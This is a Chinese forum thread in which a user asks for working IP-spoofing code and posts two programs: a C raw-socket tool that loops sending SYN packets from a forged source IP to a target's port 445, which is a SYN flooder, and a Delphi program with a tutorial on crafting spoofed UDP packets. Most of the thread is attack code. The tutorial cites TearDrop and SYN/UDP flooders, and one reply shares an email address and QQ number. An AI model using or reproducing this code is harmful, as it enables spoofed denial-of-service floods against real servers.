求伪造IP成功代码(50分)

  • 主题发起人 主题发起人 Mclkings
  • 开始时间 开始时间
M

Mclkings

Unregistered / Unconfirmed
GUEST, unregistred user!
请问如何编写伪造IP封包?

从网上找的代码全是不可以用的`~~ 发送过去以后,服务嚣接受不到的~~~

哪位高手可以提供一个可以用的?让小弟学习一下~~~
以下是c的

//
//write by Gxter
//date : 200501111 2:27
//win2k + sp4 + vc6.0
//
//syn.cpp




#include "winsock2.h"
#include "Ws2tcpip.h"
#include "stdio.h"
#include "memory.h"
#include "stdlib.h"
#include "syn.h"



#pragma comment(lib,"ws2_32")
//--------------------------------------------------------------------------------------




#define STATUS_FAILED 0xFFFF
#define SYN_DEST_IP "192.168.0.119" //dest
#define FAKE_IP "202.106.127.55" //src fake :)




int src_port = 80;
int dest_port = 445;




USHORT checksum(USHORT *buffer, int size);




int main(void)
{
int datasize;
int ErrorCode;
int flag;



int num = 0;

int TimeOut=2000,SendSEQ=0;
char SendBuf[128]={0};

WSADATA wsaData;
SOCKET SockRaw = (SOCKET)NULL;
struct sockaddr_in DestAddr;
IP_HEADER ip_header;
TCP_HEADER tcp_header;




if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0)
{
fprintf(stderr,"WSAStartup failed: %d/n",ErrorCode);
ExitProcess(STATUS_FAILED);
}



SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);
if (SockRaw==INVALID_SOCKET)
{
fprintf(stderr,"WSASocket() failed: %d/n",WSAGetLastError());
ExitProcess(STATUS_FAILED);
}



flag=TRUE;



ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));
if(ErrorCode==SOCKET_ERROR)
printf("Set IP_HDRINCL Error!/n");




__try
{
while(num <10240)
{
num++;
if (num ==10239)
{
num = 0;
printf(&quot;.&quot;);
}




ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));
if(ErrorCode==SOCKET_ERROR)
{
fprintf(stderr,&quot;Failed to set send TimeOut: %d/n&quot;,WSAGetLastError());
__leave;
}



memset(&DestAddr,0,sizeof(DestAddr));




DestAddr.sin_family=AF_INET;
DestAddr.sin_addr.s_addr=inet_addr(SYN_DEST_IP);
DestAddr.sin_port = htons((u_short)8080);




//填充IP首部
ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long)); //高四位IP版本号,低四位首部长度
ip_header.tos=0;
ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)); //16位总长度(字节)
ip_header.ident=1; //16位标
ip_header.frag_and_flags=0; //3位标志位
ip_header.ttl=128; //8位生存时间TTL
ip_header.proto=IPPROTO_TCP; //8位协议(TCP,UDP…)
ip_header.checksum=0; //16位IP首部校验和
ip_header.sourceIP = inet_addr(FAKE_IP);
ip_header.destIP = inet_addr(SYN_DEST_IP); //32位目的IP地址(攻击地址)



//填充TCP首部
tcp_header.th_sport=htons(src_port); //源端口号
tcp_header.th_dport=htons(dest_port); //目的端口号
tcp_header.th_seq=htonl(SendSEQ+num); //SYN序列号
tcp_header.th_ack=0; //ACK序列号置为0
tcp_header.th_lenres=(sizeof(TCP_HEADER)/4<<4|0); //TCP长度和保留位
tcp_header.th_flag=2; //SYN 标志
tcp_header.th_win=htons(16384);
tcp_header.th_urp=0; //偏移
tcp_header.th_sum=0; //校验和



//填充TCP伪首部
psd_header.saddr=ip_header.sourceIP;
psd_header.daddr=ip_header.destIP;
psd_header.mbz=0;
psd_header.ptcl=IPPROTO_TCP;
psd_header.tcpl=htons(sizeof(tcp_header));




memcpy(SendBuf, &psd_header, sizeof(psd_header));
memcpy(SendBuf+sizeof(psd_header), &tcp_header, sizeof(tcp_header));
tcp_header.th_sum=checksum((USHORT *)SendBuf,sizeof(psd_header)+sizeof(tcp_header));




memcpy(SendBuf, &ip_header, sizeof(ip_header));
memcpy(SendBuf+sizeof(ip_header), &tcp_header, sizeof(tcp_header));
memset(SendBuf+sizeof(ip_header)+sizeof(tcp_header), 0, 4);
ip_header.checksum=checksum((USHORT *)SendBuf, (sizeof(ip_header)+sizeof(tcp_header)));




memcpy(SendBuf, &ip_header, sizeof(ip_header));
memcpy(SendBuf+sizeof(ip_header), &tcp_header, sizeof(tcp_header));



datasize=sizeof(ip_header)+sizeof(tcp_header);
//发送TCP报文
ErrorCode=sendto(SockRaw,SendBuf,datasize, 0, (struct sockaddr*)&DestAddr, sizeof(DestAddr));
if(ErrorCode==SOCKET_ERROR)
printf(&quot;/nSend Error:%d/n&quot;,GetLastError());



}//end of while



}//End of try




__finally
{
if (SockRaw != INVALID_SOCKET) closesocket(SockRaw);
WSACleanup();
}



return 0;
}



//--------------------------the-------end------------




//
//write by Gxter
//date : 200501111 2:27
//win2k + sp4 + vc6.0
//
//syn.h




typedef struct _iphdr



{
unsigned char h_verlen; //4位首部长度+4位IP版本号
unsigned char tos; //8位服务类型TOS
unsigned short total_len; //16位总长度(字节)
unsigned short ident; //16位标识
unsigned short frag_and_flags; //3位标志位
unsigned char ttl; //8位生存时间 TTL
unsigned char proto; //8位协议号(TCP, UDP 或其他)
unsigned short checksum; //16位IP首部校验和
unsigned int sourceIP; //32位源IP地址
unsigned int destIP; //32位目的IP地址



}IP_HEADER;




typedef struct _tcphdr //定义TCP首部
{
USHORT th_sport; //16位源端口
USHORT th_dport; //16位目的端口
unsigned int th_seq; //32位序列号
unsigned int th_ack; //32位确认号
unsigned char th_lenres; //4位首部长度/6位保留字
unsigned char th_flag; //6位标志位
USHORT th_win; //16位窗口大小
USHORT th_sum; //16位校验和
USHORT th_urp; //16位紧急数据偏移量
}TCP_HEADER;




struct
{
unsigned long saddr; //源地址
unsigned long daddr; //目的地址
char mbz; //置空
char ptcl; //协议类型
unsigned short tcpl; //TCP长度



}psd_header;




USHORT checksum(USHORT *buffer, int size)
{

unsigned long cksum=0;

while(size >1)
{
cksum+=*buffer++;
size -=sizeof(USHORT);
}


if(size)
cksum += *(UCHAR*)buffer;

cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);



return (USHORT)(~cksum);
}



//----------------the----end-------------

以下是Delphi的
一、前言

  本文主要介绍如何在程序中实现IP地址的隐藏。其实这篇东西不算我写的。其中《IP头结构》部分我懒得打字,故复制、粘贴了孤独剑客的文章,先说声谢谢!代码部分参考了外国程序xes写的一个程序。所以这只是学习过程中的一个副产品。既然程序已经做好了,就顺便放上来跟大家一起交流,共同提高吧。本文只不过想说明一下IP数据的结构和发送机制。如果有人把它改为恶意IP攻击工具,后果自负。

二、IP头结构

我们知道,TCP/IP网络数据全部是通过封装在IP数据包中在Internet网上传送的,也就是封装建立起一个包含IP头和数据的IP数据报。一般来说,网络软件总是以多个32位字产生IP头,即使必须用附加的0填充IP头。IP头包含了传输IP数据包中封装数据的所有必要信息。IP头的数据结构和描述如下:

成员 长度(Bit) 描述

Version 4 IP头的版本号,目前是IPv4,最新是IPv6

Header Length 4 IP头的长度,若没有特殊选择,IP头总是20字节长

Type of Service 8 服务类型,定义了数据传输的优先级、延迟、吞吐量和可靠性等特性

Total Packet Length 16 IP包的长度,若没有特殊选项,一般为20字节长

Identification 16 IP包标识,主机使用它唯一确定每个发送的数据报

Flag 3 IP数据分割标志

Fragment Offset 13 IP数据分割偏移

Time to Live 8 数据报在网络上的存活时间,每通过一个路由器,该数值减一

Protocol 8 TCP/IP协议类型,比如:ICMP为1,IGMP为2,TCP为6,UDP为17等

Header Checksum 16 头部检验和

Source IP Address 32 源IP地址

Destination IP Address 32 目的IP地址

Other ? 其他选项

Data ? 数据

实现自己定义的IP头是一件非常有意义的事情,比如,通过改变IP头里的TOS的优先级和TTL,你可以使自己的数据包有更强的传输能力和寿命,通过修改IP头里的源IP地址就可以隐藏自己机器的IP地址等等。象著名攻击程序“泪滴TearDrop”就是通过故意制造系统不能处理的分片IP包而实现的,还有SYN Flooder和UDP Flooder就是通过产生随机源IP实现欺骗的。

三、实现原理

一般来说,自定义IP头是通过使用socket的库函数setsockopt()的选项IP_HDRINCL来实现的,尽管这在unix和linux平台上很容易实现,但遗憾的是在Windows平台的Winsock1.1和Winsock2.0函数库里setsockopt()不支持IP_HDRINCL选项,所以在Windows 9x/NT里是无法通过Winsock函数库来实现IP头自定义的,当然可以通过编写虚拟设备驱动程序来实现,不过比较复杂,但Windows 2000的出现打破了这种局面,Windows2000的Winsock2.2函数库里全面支持setsockopt()的选项IP_HDRINCL,使得我们轻松就可以实现自定义的IP头。实现方法如下:

四、代码部分

{

1. 本程序只能运行于 Window 2000.

2. 你必须有 Administrator 权限.

3. 程序需要用到一个 button 和一个 memo.

----------------------------------------------------------------------

运行程序前,请根据自己的需要改变 SrcIP、SrcPort、DestIP和DestPort的值

----------------------------------------------------------------------

如果你看不懂以下代码,最好不要去运行它。

----------------------------------------------------------------------

}

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls, OleCtrls, Registry;

Const

SrcIP = '123.123.123.1';//发送方IP地址

SrcPort = 1234; //发送方端口

DestIP = '127.0.0.2'; //目的IP地址

DestPort = 4321; //目的端口

Max_Message = 4068;

Max_Packet = 4096;

type

TPacketBuffer = Array[0..Max_Packet-1] of byte;

TForm1 = class(TForm)

Button1: TButton;

Memo1: TMemo;

procedure Button1Click(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

procedure SendIt;

end;

// IP 头

type

T_IP_Header = record

ip_verlen : Byte;

ip_tos : Byte;

ip_totallength : Word;

ip_id : Word;

ip_offset : Word;

ip_ttl : Byte;

ip_protocol : Byte;

ip_checksum : Word;

ip_srcaddr : LongWord;

ip_destaddr : LongWord;

end;

// UDP 头

Type

T_UDP_Header = record

src_portno : Word;

dst_portno : Word;

udp_length : Word;

udp_checksum : Word;

end;

// 一些 Winsock 2 的类型声明

u_char = Char;

u_short = Word;

u_int = Integer;

u_long = Longint;

SunB = packed record

s_b1, s_b2, s_b3, s_b4: u_char;

end;

SunW = packed record

s_w1, s_w2: u_short;

end;

in_addr = record

case integer of

0: (S_un_b: SunB);

1: (S_un_w: SunW);

2: (S_addr: u_long);

end;

TInAddr = in_addr;

Sockaddr_in = record

case Integer of

0: (sin_family: u_short;

sin_port: u_short;

sin_addr: TInAddr;

sin_zero: array[0..7] of Char);

1: (sa_family: u_short;

sa_data: array[0..13] of Char)

end;

TSockAddr = Sockaddr_in;

TSocket = u_int;

const

WSADESCRIPTION_LEN = 256;

WSASYS_STATUS_LEN = 128;

type

PWSAData = ^TWSAData;

WSAData = record // WSDATA

wVersion: Word;

wHighVersion: Word;

szDescription: array[0..WSADESCRIPTION_LEN] of Char;

szSystemStatus: array[0..WSASYS_STATUS_LEN] of Char;

iMaxSockets: Word;

iMaxUdpDg: Word;

lpVendorInfo: PChar;

end;

TWSAData = WSAData;

//定义一些 winsock 2 函数

function closesocket(s: TSocket): Integer; stdcall;

function socket(af, Struct, protocol: Integer): TSocket; stdcall;

function sendto(s: TSocket; var Buf; len, flags: Integer; var addrto: TSockAddr;

tolen: Integer): Integer; stdcall;{}

function setsockopt(s: TSocket; level, optname: Integer; optval: PChar;

optlen: Integer): Integer; stdcall;

function inet_addr(cp: PChar): u_long; stdcall; {PInAddr;} { TInAddr }

function htons(hostshort: u_short): u_short; stdcall;

function WSAGetLastError: Integer; stdcall;

function WSAStartup(wVersionRequired: word; var WSData: TWSAData): Integer; stdcall;

function WSACleanup: Integer; stdcall;

const

AF_INET = 2; // internetwork: UDP, TCP, etc.

IP_HDRINCL = 2; // IP Header Include

SOCK_RAW = 3; // raw-protocol interface

IPPROTO_IP = 0; // dummy for IP

IPPROTO_TCP = 6; // tcp

IPPROTO_UDP = 17; // user datagram protocol

IPPROTO_RAW = 255; // raw IP packet

INVALID_SOCKET = TSocket(NOT(0));

SOCKET_ERROR = -1;

var

Form1: TForm1;

implementation

// Import Winsock 2 functions

const WinSocket = 'WS2_32.DLL';

function closesocket; external winsocket name 'closesocket';

function socket; external winsocket name 'socket';

function sendto; external winsocket name 'sendto';

function setsockopt; external winsocket name 'setsockopt';

function inet_addr; external winsocket name 'inet_addr';

function htons; external winsocket name 'htons';

function WSAGetLastError; external winsocket name 'WSAGetLastError';

function WSAStartup; external winsocket name 'WSAStartup';

function WSACleanup; external winsocket name 'WSACleanup';

 

{$R *.DFM}

function CheckSum(Var Buffer; Size : integer) : Word;

type

TWordArray = Array[0..1] of Word;

var

ChkSum : LongWord;

i : Integer;

begin

ChkSum := 0;

i := 0;

While Size > 1 do begin

ChkSum := ChkSum + TWordArray(Buffer);

inc(i);

Size := Size - SizeOf(Word);

end;

if Size=1 then ChkSum := ChkSum + Byte(TWordArray(Buffer));

ChkSum := (ChkSum shr 16) + (ChkSum and $FFFF);

ChkSum := ChkSum + (Chksum shr 16);

Result := Word(ChkSum);

end;

 

procedure BuildHeaders(

FromIP : String;

iFromPort : Word;

ToIP : String;

iToPort : Word;

StrMessage : String;

Var Buf : TPacketBuffer;

Var remote : TSockAddr;

Var iTotalSize : Word

);

Var

dwFromIP : LongWord;

dwToIP : LongWord;

iIPVersion : Word;

iIPSize : Word;

ipHdr : T_IP_Header;

udpHdr : T_UDP_Header;

iUdpSize : Word;

iUdpChecksumSize : Word;

cksum : Word;

Ptr : ^Byte;

procedure IncPtr(Value : Integer);

begin

ptr := pointer(integer(ptr) + Value);

end;

begin

// Convert ip address'ss

dwFromIP := inet_Addr(PChar(FromIP));

dwToIP := inet_Addr(PChar(ToIP));

// 初始化 IP 头

//

iTotalSize := sizeof(ipHdr) + sizeof(udpHdr) + length(strMessage);

iIPVersion := 4;

iIPSize := sizeof(ipHdr) div sizeof(LongWord);

ipHdr.ip_verlen := (iIPVersion shl 4) or iIPSize;

ipHdr.ip_tos := 0; // IP type of service

ipHdr.ip_totallength := htons(iTotalSize); // Total packet len

ipHdr.ip_id := 0; // Unique identifier: set to 0

ipHdr.ip_offset := 0; // Fragment offset field

ipHdr.ip_ttl := 128; // Time to live

ipHdr.ip_protocol := $11; // Protocol(UDP)

ipHdr.ip_checksum := 0 ; // IP checksum

ipHdr.ip_srcaddr := dwFromIP; // Source address

ipHdr.ip_destaddr := dwToIP; // Destination address

//

// 初始化 UDP 头

//

iUdpSize := sizeof(udpHdr) + length(strMessage);

udpHdr.src_portno := htons(iFromPort) ;

udpHdr.dst_portno := htons(iToPort) ;

udpHdr.udp_length := htons(iUdpSize) ;

udpHdr.udp_checksum := 0 ;

iUdpChecksumSize := 0;

ptr := @buf[0];

FillChar(Buf, SizeOf(Buf), 0);

Move(ipHdr.ip_srcaddr, ptr^, SizeOf(ipHdr.ip_srcaddr));

IncPtr(SizeOf(ipHdr.ip_srcaddr));

iUdpChecksumSize := iUdpChecksumSize + sizeof(ipHdr.ip_srcaddr);

Move(ipHdr.ip_destaddr, ptr^, SizeOf(ipHdr.ip_destaddr));

IncPtr(SizeOf(ipHdr.ip_destaddr));

iUdpChecksumSize := iUdpChecksumSize + sizeof(ipHdr.ip_destaddr);

IncPtr(1);

Inc(iUdpChecksumSize);

Move(ipHdr.ip_protocol, ptr^, sizeof(ipHdr.ip_protocol));

IncPtr(sizeof(ipHdr.ip_protocol));

iUdpChecksumSize := iUdpChecksumSize + sizeof(ipHdr.ip_protocol);

Move(udpHdr.udp_length, ptr^, sizeof(udpHdr.udp_length));

IncPtr(sizeof(udpHdr.udp_length));

iUdpChecksumSize := iUdpChecksumSize + sizeof(udpHdr.udp_length);

move(udpHdr, ptr^, sizeof(udpHdr));

IncPtr(sizeof(udpHdr));

iUdpChecksumSize := iUdpCheckSumSize + sizeof(udpHdr);

Move(StrMessage[1], ptr^, Length(strMessage));

IncPtr(Length(StrMessage));

iUdpChecksumSize := iUdpChecksumSize + length(strMessage);

cksum := checksum(buf, iUdpChecksumSize);

udpHdr.udp_checksum := cksum;

//

// 现在 IP 和 UDP 头OK了,我们可以把它发送出去。

//

FillChar(Buf, SizeOf(Buf), 0);

Ptr := @Buf[0];

Move(ipHdr, ptr^, SizeOf(ipHdr)); IncPtr(SizeOf(ipHdr));

Move(udpHdr, ptr^, SizeOf(udpHdr)); IncPtr(SizeOf(udpHdr));

Move(StrMessage[1], ptr^, length(StrMessage));

 

remote.sin_family := AF_INET;

remote.sin_port := htons(iToPort);

remote.sin_addr.s_addr := dwToIP;

end;

procedure TForm1.SendIt;

Var

sh : TSocket;

bOpt : Integer;

ret : Integer;

Buf : TPacketBuffer;

Remote : TSockAddr;

Local : TSockAddr;

iTotalSize : Word;

wsdata : TWSAdata;

begin

// Startup Winsock 2

ret := WSAStartup($0002, wsdata);

if ret<>0 then begin

memo1.lines.add('WSA Startup failed.');

exit;

end;

with memo1.lines do begin

add('WSA Startup:');

add('Desc.: '+wsData.szDescription);

add('Status: '+wsData.szSystemStatus);

end;

try

// Create socket

sh := Socket(AF_INET, SOCK_RAW, IPPROTO_UDP);

if (sh = INVALID_SOCKET) then begin

memo1.lines.add('Socket() failed: '+IntToStr(WSAGetLastError));

exit;

end;

Memo1.lines.add('Socket Handle = '+IntToStr(sh));

// Option: Header Include

bOpt := 1;

ret := SetSockOpt(sh, IPPROTO_IP, IP_HDRINCL, @bOpt, SizeOf(bOpt));

if ret = SOCKET_ERROR then begin

Memo1.lines.add('setsockopt(IP_HDRINCL) failed: '+IntToStr(WSAGetLastError));

exit;

end;

// Build the packet

BuildHeaders( SrcIP, SrcPort,

DestIP, DestPort,

'THIS IS A TEST PACKET',

Buf, Remote, iTotalSize );

// Send the packet

ret := SendTo(sh, buf, iTotalSize, 0, Remote, SizeOf(Remote));

if ret = SOCKET_ERROR then

Memo1.Lines.Add('sendto() failed: '+IntToStr(WSAGetLastError))

else

Memo1.Lines.Add('send '+IntToStr(ret)+' bytes.');

// Close socket

CloseSocket(sh);

finally

// Close Winsock 2

WSACleanup;

end;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

SendIt;

end;

end.
 
我现在没有太多积分,所以希望大家帮帮忙啦,以后我有分的时候,我散分给大家,好吗?

高手帮帮忙~~
 
在 delphi.ktop.com.tw 中有一个,你去搜搜。
 
delphi那段代码我调试通过了,需要的话直接给我mail或者qq联系
mail:szuge@163.com
qq:20264696

免费调试,不收手续费
 
多人接受答案了。
 
后退
顶部